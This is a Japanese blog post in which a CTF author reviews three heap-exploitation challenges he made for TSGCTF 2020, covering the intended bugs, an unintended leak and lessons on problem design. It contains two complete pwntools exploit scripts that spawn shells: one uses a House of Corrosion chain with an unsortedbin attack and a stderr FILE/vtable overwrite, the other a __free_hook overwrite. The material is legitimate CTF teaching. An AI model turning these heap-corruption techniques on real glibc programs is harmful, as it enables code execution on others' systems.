newbieからバイナリアンへ

newbieからバイナリアンへ

人参の秘めたる甘さに気づいた大学生日記

【pwn 31.0】 TSGCTF 2020 作問反省

 

 

 

 

 

0: イントロ

いつぞや開催された TSGCTF 2020 において、pwn問題を2問作問し、1問共作しました。結果としては反省点ばかりで、もやもやして今すぐやるべき期末試験勉強に集中できないので、ここに雑に反省を置いておきます。

1: RACHELL: 7solves 322pts

問題概要

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

バイナリサイズが大きいためCソースを添付しています。 超簡易的なファイルシステムを模し、数個のコマンドを処理してファイル・ディレクトリを作成・削除・書き込みすることができます。 ただし cat コマンドは実装されておらず、ディレクトリ名を表示する際にも以下の関数で出力がチェックされ、検査に引っかかるとプログラムが停止(非終了)します。

unsigned char ascii_check(const char *name, unsigned int size)
{
    char c;
    for(int ix=0;ix!=size;++ix){
        c = name[ix];
        if(c=='\n' || c=='-' || (0x30<=c && c<=0x39) || (0x40<=c && c<=0x5a) || (0x61<=c && c<=0x7a) || c=='_' || c=='.')
            continue;
        return 0;
    }
    return 1;
}

パス名の表示以外に、定数値以外を出力する箇所は一切ありません。

非想定解

House of Corrosion を出題したいがためだけに作った問題です。
FILE structureの _IO_write_ptr の書き換えによってleakがされないようにprintf()等でストリームは全く使わないようにしていたり、ascii_check()で出力を検査していたのは、とにかく leakless を目指していたためでした。
しかし、pwd 関数に於いて唯一出力の ascii_check() を行うのをし忘れており、ここから leak が可能であったようです。
一度leakさえできてしまえば、double free も UAF もし放題な問題ゆえ、簡単に解けてしまうという非想定解がありました。
そもそもに、pwd() に ascii_check() を入れていたとしても、上のチェックではゆるいところがあり結局何かしらを何かしらの方法でleakされていたのではないかと思います。
一度考えて没にしたのですが、やっぱりディレクトリ名の出力は全て **CENSORED** のように定数値で統一すべきでした。こうするとファイルシステムを真似するプログラムという問題設定が微妙になってしまうのではと思いやめたのですが、非想定を潰すためには多少問題設定を犠牲にしてでも制限を厳しくすべきだったと反省しています。
なお、最初はコマンドと引数を別々ではなく通常のシェルのように入力できるようにしていたのですが、パーサによってソースコードが倍増してしまうのと、非想定を埋め込みそうだったので割と直前でやめました。

想定のバグ

折角なので、想定解にも軽く触れておきます。まず、バグとして以下のようなものがあります。

  • node(ディレクトリ・ファイル)を削除する際、それがカレントディレクトリ以外にある場合には、nodeのfree()は行われますが、親ノードから該当子ノードが削除されません。親に繋がってる子ノードの削除は問答無用で行われるため、double free/UAFが可能です。
  • ファイルへの書き込み(echo)を行う際に、readn()関数ではなく以下のように読み込んでいます。これによって、任意サイズのmalloc()を行いつつも、実際に書き込むのは"\r"までという操作ができるため、exploitが簡単になります。
          if(target->buf == NULL){
                target->buf = malloc(size);
                // find newline
                for(int ix=0; ix!=size; ++ix){
                if(content[ix] == '\r'){
                    size = ix;
                    break;
                }
                }
                memcpy(target->buf,content,size);
                target->size = size;
          }else{
        
  • バグではありませんが、エラー発生時に呼ばれるpanic()関数は、プログラムを終了するわけではなく停止させます。これも、House of Corrosionを使ってほしいという匂わせです。
        void panic(void)
        {
            write(1,"exit...\n",7);
            while(true)
            sleep(100);
        }
        



想定解

想定では完全なるleaklessだったため、House of Corrosionでleakすることなくシェルを開くというものでした。しかし、おそらくleaklessで解いた人はゼロ人だと思います。
なおこの方法で解く際には、echoをする前に必要なノードを予めtouchして準備しておかないとexploitが難しくなるなど、結構準備が手間です。

#!/usr/bin/env python
#encoding: utf-8;




# TOTAL ENTROPY IS 4-bit+x(x<4)
# TRY SOME TIMES



from pwn import *
import sys
import time

FILENAME = "../dist/rachell"
LIBCNAME = "../dist/libc.so.6"

hosts = ("ニッコニッコニー","localhost","localhost")
ports = (25252,12300,25252)
rhp1 = {'host':hosts[0],'port':ports[0]}    #for actual server
rhp2 = {'host':hosts[1],'port':ports[1]}    #for localhost 
rhp3 = {'host':hosts[2],'port':ports[2]}    #for localhost running on docker
context(os='linux',arch='amd64')
binf = ELF(FILENAME)
libc = ELF(LIBCNAME) if LIBCNAME!="" else None


## utilities #########################################

def hoge(command):
  c.recvuntil("command> ")
  c.sendline(command)

def ls(dir="."):
  hoge("ls")
  c.recvuntil("path> ")
  c.sendline(dir)


# current dir only
def touch(name):
  hoge("touch")
  c.recvuntil("filename> ")
  c.sendline(name)

def echo(path,content):
  if "\n" in content:
    raw_input("[w] content@echo() contains '\\n'. It would be end of input. OK?")

  hoge("echo")
  c.recvuntil("arg> ")
  c.sendline(content)
  c.recvuntil("redirect?> ")
  c.sendline("Y")
  c.recvuntil("path> ")
  c.sendline(path)
  if "invalid" in c.recvline():
    raw_input("error detected @ echo()")
    exit()

def rm(path):
  hoge("rm")
  c.recvuntil("filename> ")
  c.sendline(path)
  if "no" in c.recvline():
    raw_input("error detected @ rm()")
    exit()

# relative only
def cd(path):
  hoge("cd")
  c.recvuntil("path> ")
  c.sendline(path)

# current dir only
def mkdir(name):
  hoge("mkdir")
  c.recvuntil("name")
  c.sendline(name)

def te(filename,content):
  touch(filename)
  echo(filename,content)

def formula(delta):
  return delta*2 + 0x20

## exploit ###########################################

def exploit():
  global c
  repeat_flag = False

  # calc ##############################################

  gmf = 0xc940
  bufend_s = formula(0xa70 - 0x8)
  stderralloc_s = formula(0xb08)
  dumpedend_s = formula(0x1ce0)
  pedantic_s = formula(0x1cf8 - 0x8)
  stderrmode_s = formula(0xaf0 - 0x8)
  stderrflags_s = formula(0xa30 - 0x8)
  stderrwriteptr_s = formula(0xa58 - 0x8)
  stderrbufbase_s = formula(0xa68 - 0x8)
  stderrvtable_s = formula(0xa68 + 0xa0 - 0x8)
  stdoutmode_s = formula(0xbd0 - 0x8)
  morecore_s = formula(0x880)
  stderrbufend_s = formula(0xa68)
  stderr_s = formula(0x7f17c6744680-0x7f17c6743c40+0x10 - 0x28)
  stderr60_s = formula(0x7f17c6744680-0x7f17c6743c40+0x10 - 0x28 + 0x60)
  LSB_IO_str_jmps = 0x7360
  LSBs_call_rax = 0x03d8            # call rax gadget. to be called @ _IO_str_overflow()
  '''
  pwndbg> find /2b 0x7f971f8a0000, 0x7f971f8affff, 0xff,0xd0
  0x7f971f8a03d8 <systrim+200>
  0x7f971f8a0657 <ptmalloc_init+631>
  2 patterns found.
  '''

  try: 
      mkdir("test1")
      mkdir("test2")
      mkdir("test3")
      mkdir("test4")
      mkdir("test5")
      mkdir("test6")
      # info: test6 is used only for padding!
      for i in range(5):
        cd("./test"+str(i+2))
        for j in range(0xe):
          touch(str(j+1))
        cd("../")
      print("[+] pre-touched chunks")


      cd("./test1")
      touch("a")
      touch("k")
      touch("large")
      touch("b")
      touch("c")
      touch("LARGE")
      echo("a","A"*0x450)         # for unsortedbin attack
      echo("k","k"*0x130)         # just for padding
      echo("large","B"*0x450)
      echo("b","A"*0x450)         # to overwrite LARGE's size !!!
      cd("../")
      rm("./test1/b")
      rm("./test1/large")
      cd("test1")
      echo("c","\r"*0x460)
      echo("LARGE","L"*0x460)     # to cause error!!!

      touch("hoge")
      touch("hoge2")
      te("padding","K"*0x30)      # JUST PADDING

      print("[+] prepared for later attack")

      # prepare for ADV3  part1 in test2 ##########################

      # get overlapped chunk.
      LSB_A1 = 0xd0              # chunk A's LSB
      adv3_size1 = bufend_s
      cd("../test2")
      echo("1","\r"*(0x50))
      echo("2","2"*(0x20)) # A
      #raw_input("check A's LSB")
      echo("3","3"*(0x20)) # B
      echo("4","4"*(0x50))
      cd("../")
      rm("./test2/1")
      rm("./test2/4")
      cd("test2")
      echo("4",p8(LSB_A1))
      echo("5","5"*(0x50)) # tmp2
      echo("6","6"*(0x50)) # tmp1 overlapping on A
      echo("6",p64(0)+p64(adv3_size1 + 0x10 +0x1) + p64(0)*4 + p64(0) + p64(adv3_size1 + 0x10 + 0x1))
      
      # prepare fakesize
      echo("7",(p64(0)+p64(0x31))*((adv3_size1+0x120)//0x10))
      #raw_input("check overlap")

      print("[+] create overlapped chunks for ADV3 part1")
      cd("../")


      # prepare for ADV3  part2 in test3 ##########################

      # padding
      cd("./test6/")
      echo("1",p64(0x31)*0x10)

      # get overlapped chunk.
      LSB_A2 = 0xa0              # chunk A's LSB
      adv3_size2 = stderralloc_s
      cd("../test3")
      echo("1","\r"*(0x50))
      echo("2","2"*(0x20)) # A
      #raw_input("check A's LSB")
      echo("3","3"*(0x20)) # B
      echo("4","4"*(0x50))
      cd("../")
      rm("./test3/1")
      rm("./test3/4")
      cd("test3")
      echo("4",p8(LSB_A2))
      echo("5","5"*(0x50)) # tmp2
      echo("6","6"*(0x50)) # tmp1 overlapping on A
      echo("6",p64(0)+p64(adv3_size2 + 0x10 +0x1) + p64(0)*4 + p64(0) + p64(adv3_size2 + 0x10 + 0x1))

      # prepare fakesize
      echo("7",(p64(0)+p64(0x31))*((adv3_size2+0x120)//0x10))
      #raw_input("check overlap")

      print("[+] create overlapped chunks for ADV3 part2")
      cd("../")


      # Allocate chunks for ADV2 #################################

      cd("./test4")
      print("[ ] dumpedend_s: "+hex(dumpedend_s))
      echo("1","B"*dumpedend_s)
      echo("2","B"*pedantic_s)
      echo("3","B"*stderrmode_s)
      echo("4","B"*stderrflags_s)
      echo("5","B"*stderrwriteptr_s)
      echo("6","B"*stderrbufbase_s)
      echo("7","B"*stderrvtable_s)
      echo("8","B"*stdoutmode_s)
      print("[+] create some chunks for ADV2")
      cd("../")


      # Connect to largebin and set NON_MAINARENA to 1 ######

      rm("./test1/LARGE")
      cd("./test6")                       # connect to largebin
      echo("2","\r"*0x600)

      cd("../test1")
      echo("b",p64(0)+p64(0x460|0b101))   # set NON_MAIN_ARENA
      cd("../")
      print("[+] connected to large and set NON_MAIN_ARENA")



      # Unsortedbin Attack ###################################
      rm("test1/a")
      cd("./test1")
      echo("a",p64(0)+p16(gmf-0x10))
      echo("hoge","G"*0x450) # unsortedbin attack toward gmf
      cd("../")
      print("[!] Unsortedbin attack success??(4-bit entropy)")


      # Make unsortedbin's bk valid ########################
      rm("./test4/1")
      cd("test4")
      echo("1",p64(0x460))
      cd("../test5")
      echo("1","\r"*dumpedend_s)
      rm("../test4/2")
      cd("../")
      print("[*] made unsortedbin's bk valid")


      # Overwrite FILE of stderr ##########################

      # stderr_mode / 1
      rm("./test4/3")
      cd("./test4")
      echo("3",p64(0x1))
      cd("../test5")
      echo("2","\r"*stderrmode_s)
      cd("../")
      print("[1/5] overwrite FILE of stderr")

      # stdout_mode / 1
      rm("./test4/8")
      cd("./test4")
      echo("8",p64(0x1))
      cd("../test5")
      echo("3","\r"*stdoutmode_s)
      cd("../")
      print("[2/5] overwrite FILE of stderr")

      # stderr_flags / 0
      rm("./test4/4")           # NO NEED IN THIS CASE...
      cd("./test4")
      echo("4",p64(0x0))
      cd("../test5")
      echo("4","\r"*stderrflags_s)
      cd("../")
      print("[3/5] overwrite FILE of stderr")

      # stderr_IO_write_ptr / 0x7fffffffffffffff
      rm("./test4/5")
      cd("./test4")
      echo("5",p64(0x7fffffffffffffff))
      cd("../test5")
      echo("5","\r"*stderrwriteptr_s)
      cd("../")
      print("[4/5] overwrite FILE of stderr")

      # stderr_IO_buf_base / offset of default_morecore_onegadget
      off_default_morecore_one = 0x4becb
      rm("./test4/6")
      cd("./test4")
      echo("6",p64(off_default_morecore_one))
      cd("../test5")
      echo("6","\r"*stderrbufbase_s)
      cd("../")
      print("[5/5] overwrite FILE of stderr")



      # Transplant __morecore value to stderr->file._IO_buf_end ########
      cd("../")
      rm("./test2/2")                   # TODO: 2/3逆じゃね???
      rm("./test2/3")                   # connect to tcache
      cd("test2")
      echo("2",p8(LSB_A1))
      cd("../test6")
      echo("3","\r"*stderrbufend_s)
      cd("../test2")
      echo("6",p64(0)+p64(0x10 + morecore_s|1))
      cd("../")
      rm("./test2/2")
      cd("./test2/")
      echo("6",p64(0)+p64(0x10 + stderrbufend_s|1))
      cd("../test6")
      echo("4","\r"*stderrbufend_s)

      cd("../test2")
      echo("6",p64(0)+p64(0x10 + morecore_s|1))
      cd("../test6")
      echo("5","\r"*morecore_s)
      print("[+]overwrite stderr->file.IO_buf_end")

      # Partial Transplantation: stderr->file.vtable into _IO_str_jumps

      cd("../")
      rm("./test4/7")
      cd("./test4")
      echo("7",p16(LSB_IO_str_jmps - 0x20))            # 0-bit uncertainity after success of unsortedbin attack (before, 4bit)
      cd("../test6")
      echo("6","\r"*stderrvtable_s)
      print("[+] overwrite stderr's vtable into _IO_str_jumps - 0x20")

      # Tamper in Flight: Transplant __morecore's value to _s._allocate_buffer ###########
      cd("../")
      rm("./test3/3")
      rm("./test3/2")                   # connect to tcache
      cd("test3")
      echo("2",p8(LSB_A2))
      cd("../test6")
      echo("7","\r"*stderralloc_s)
      cd("../test3")

      echo("6",p64(0)+p64(0x10 + morecore_s|1))
      cd("../")
      rm("./test3/2")
      cd("./test3/")
      echo("6",p64(0)+p64(0x10 + stderralloc_s|1))
      echo("2",p16(LSBs_call_rax))                      # HAVE 4-BIT UNCERTAINITY !!!
      cd("../test6")
      echo("8","\r"*stderralloc_s)
      print("[ ] morecore_s: "+hex(morecore_s))


      # invoke and get a shell!!!
      c.recvuntil("command> ")
      c.sendline("echo")
      c.recvuntil("arg> ")
      c.sendline("\r"*0x50)
      c.recvuntil("?> ")
      c.sendline("Y")
      c.recvuntil("> ")
      c.sendline("9")
      print("[!] Got shell???")

      return True
  except EOFError:
      print("[-] EOFError")
      c.close()
      return False


## main ##############################################

# check success rate by 'python2 ./exploit.py r bench'
# solvable-check by python2 ./exploit.py r

if __name__ == "__main__":
    global c
    
    if len(sys.argv)>1:
      if sys.argv[1][0]=="d":
        cmd = """
          set follow-fork-mode parent
        """
        c = gdb.debug(FILENAME,cmd)

      elif sys.argv[1][0]=="r" or sys.argv[1][0]=="v":
        try_count = 0
        total_try = 0
        total_success = 0
        start_time = time.time()
        init_time = time.time()
        while True:
            lap_time = time.time()
            try_count += 1
            print("**** {} st try ****".format(hex(try_count)))
            if sys.argv[1][0] == "r":
                c = remote(rhp1["host"],rhp1["port"])
            else:
                c = remote(rhp3["host"],rhp3["port"])
            if exploit()==False:
              print("----- {} st try FAILED: {} sec\n".format(hex(try_count),time.time()-lap_time))
              continue
            else:
                print("----- {} st try SUCCESS: {} sec (total)".format(hex(try_count),time.time()-start_time))
                if len(sys.argv) > 2 :      # check success rate
                    print("\n***** NOW SUCCESS NUM: {} ******\n".format(hex(total_success + 1)))
                    total_try += try_count
                    try_count = 0
                    total_success += 1
                    start_time = time.time()
                    if total_success >= 0x10:
                        print("\n\n\nTotal {} Success in {} Try. Total Time: {} sec\n\n\n".format(hex(total_success),hex(total_try),time.time()-init_time))
                        exit()
                    else:
                        continue
                else:
                    c.interactive()
                    exit()

    else:
        c = remote(rhp2['host'],rhp2['port'])

    exploit()
    c.interactive()


この場合にはexploitは4bitのエントロピーを持ち、およそ14回に1回成功します。

 

f:id:smallkirby:20200713141604p:plain

rachell exploit



2: Violence Fixer: 13solves 241pts

問題概要

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled


もともとbeginner問として出題する予定で作りましたが、燃えそうなのでeasy問にしました。
偽のヒープマネージャがheapの情報を記憶し、それに基づいてsizeなりを勝手に上書きしてしまいます。 しかしこいつがかなりガバガバで、容易に実際のheapとのズレが生じます。
但しbeg問の名残として、オプションで偽のヒープマネージャが保持している情報を出力させることができます。


想定解

色々とありそうではありますが、上で説明したズレを利用して、雑にlibcbaseをleakしてfree_hook overwriteで終了です。

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys
import time

FILENAME = "../dist/violence-fixer"
LIBCNAME = "../dist/libc.so.6"

hosts = ("test","localhost","localhost")
ports = (32112,12300,32112)
rhp1 = {'host':hosts[0],'port':ports[0]}    #for actual server
rhp2 = {'host':hosts[1],'port':ports[1]}    #for localhost 
rhp3 = {'host':hosts[2],'port':ports[2]}    #for localhost running on docker
context(os='linux',arch='amd64')
binf = ELF(FILENAME)
libc = ELF(LIBCNAME) if LIBCNAME!="" else None


## utilities #########################################

def hoge(ix):
  c.recvuntil("> ")
  c.sendline(str(ix))

def alloc(size,content):
  hoge(1)
  c.recvuntil("size: ")
  c.sendline(str(size))
  c.recvuntil("content: ")
  c.send(content)

def show(index):
  hoge(2)
  c.recvuntil("index: ")
  c.sendline(str(index))

def free(index):
  hoge(3)
  c.recvuntil("index: ")
  c.sendline(str(index))

def get_value(index):
  hoge(4)
  for i in range(index):
    c.recvuntil("INUSE")
  c.recvuntil("INUSE\n ")
  return c.recv(8)

def delegate(size,content):
  hoge(0)
  c.recvuntil("> ")
  c.sendline('y')
  c.recvuntil("size: ")
  c.sendline(str(size))
  c.recvuntil("content: ")
  c.send(content)

## exploit ###########################################

def exploit():
  global c
  c.recvuntil("?: ")
  c.sendline("y")

  # prepare
  alloc(0x200,"1"*0x30)
  alloc(0x200,"2"*0x30)
  alloc(0x200,"3"*0x30)
  alloc(0x200,"4"*0x30)
  alloc(0xa0,"5"*0x30)
  alloc(0x200,"4"*0x30)
  alloc(0x1e0,"4"*0x30)
  alloc(0x1e0,"4"*0x30) # TARGET
  alloc(0x1e0,"5"*0x30)
  alloc(0x1e0,p64(0x21)*(0x1e0//8))
  alloc(0x1e0,"7"*0x10)
  alloc(0xc0,"8"*0x10)
  alloc(0x10,"9"*0x10)

  # leak libcbase
  free(1)
  free(2)
  free(3)
  free(4)
  free(5)
  alloc(0x60,p8(0)*0x30 + p64(0) + p64(0x481))
  free(7)
  for i in range(4):
    alloc(0x10,p8(1))
  alloc(0x160,"A"*0x160)

  show(7)
  c.recvuntil("A"*0x160)
  libcbase = unpack(c.recvline().rstrip().ljust(8,'\x00')) - 0x1ebbe0
  print("[+]libcbase: "+hex(libcbase))

  # tcache duplicate
  alloc(0x1f0,p8(0))
  alloc(0x80,p8(0)) 

  alloc(0x60,"1"*0x8) 
  alloc(0x50,"/bin/sh;\x00")
  alloc(0x50,"3"*0x8)
  alloc(0x20,"4"*0x8)
  alloc(0x20,"5"*0x8)
  alloc(0x20,"6"*0x8)
  alloc(0x20,"7"*0x8) # 
  free(0xf)
  free(0x13)
  free(0x15)
  alloc(0x130,p64(0)+p64(0x31)+"A"*0x80+p64(0)+p64(0x31)+p64(libcbase + libc.symbols["__free_hook"]))
  alloc(0x20,p8(0))
  delegate(0x20,p64(libcbase+libc.symbols["system"]))

  free(0x10)
  return

## main ##############################################

if __name__ == "__main__":
    global c
    start_time = time.time()
    
    if len(sys.argv)>1:
      if sys.argv[1][0]=="d":
        cmd = """
          set follow-fork-mode parent
        """
        c = gdb.debug(FILENAME,cmd)
      elif sys.argv[1][0]=="r":
        c = remote(rhp1["host"],rhp1["port"])
      elif sys.argv[1][0]=="v":
        c = remote(rhp3["host"],rhp3["port"])
    else:
        c = remote(rhp2['host'],rhp2['port'])

    exploit()
    print("\n\n[!] exploit success: {} sec\n\n".format(time.time()-start_time))
    c.interactive()

f:id:smallkirby:20200713141628p:plain

violence-fixer exploit



3: Karte: 6solves 341pts

moraさんと一緒に作った問題です。PoCはmoraさんのgistにあります。

https://gist.github.com/moratorium08/a1daa601b0785981c97b08f777a3da59

 


libc2.31で動いているので、いい感じにいい感じします。

 

4: 全体

ルフレビューが甘々でした。また、互いのレビューをする際にも、もっと時間に余裕を持って多方面から行うべきでした。
beginner問は、SECCONでかなり好評のものが出たので、今後beginner問を自称する際にはあのくらいのやつを出さないといけないのかもしれませんね。
(但し、個人的には本当にどこから手を付けていいかわからない人はハリネズミ本+坂井さんのリンカローダ本を読んでpico/xyzをやるべきだとは思います)

また、問題セットが若干偏っていた感じがあります。pwnはbeg*1, heap*3, 言語問*1, その他*1でした。kernel問を入れて、heap問を1問退場させればもうちょいいい感じになったんじゃないかと思います。

時間的には、pwnに関して言うと24hで十分だったんじゃないかと思います。事実、トップチームは最初の12h以内にpwnを全完して暇そうだったので。miscが多い感もあったと思いますが、今日は随分晴れています。

一番の反省点は、自分自身がそもそもにpwn雑魚なのに作問なんかしようと思い上がったことですね。
pwn雑魚が作った問題は、例外なくクソ問になります。問題を作るのならば、まずは自分自身がいい加減beginnerレベルを卒業できるくらいには強くならなくちゃいけないと痛感しました。
時間を見つけて、pwnを勉強しつつ問題を作り溜めていこうと思います。

5: アウトロ

反省点ばかりでした。少しでもboringに感じた方はすいませんでした。勉強しときます。







続く...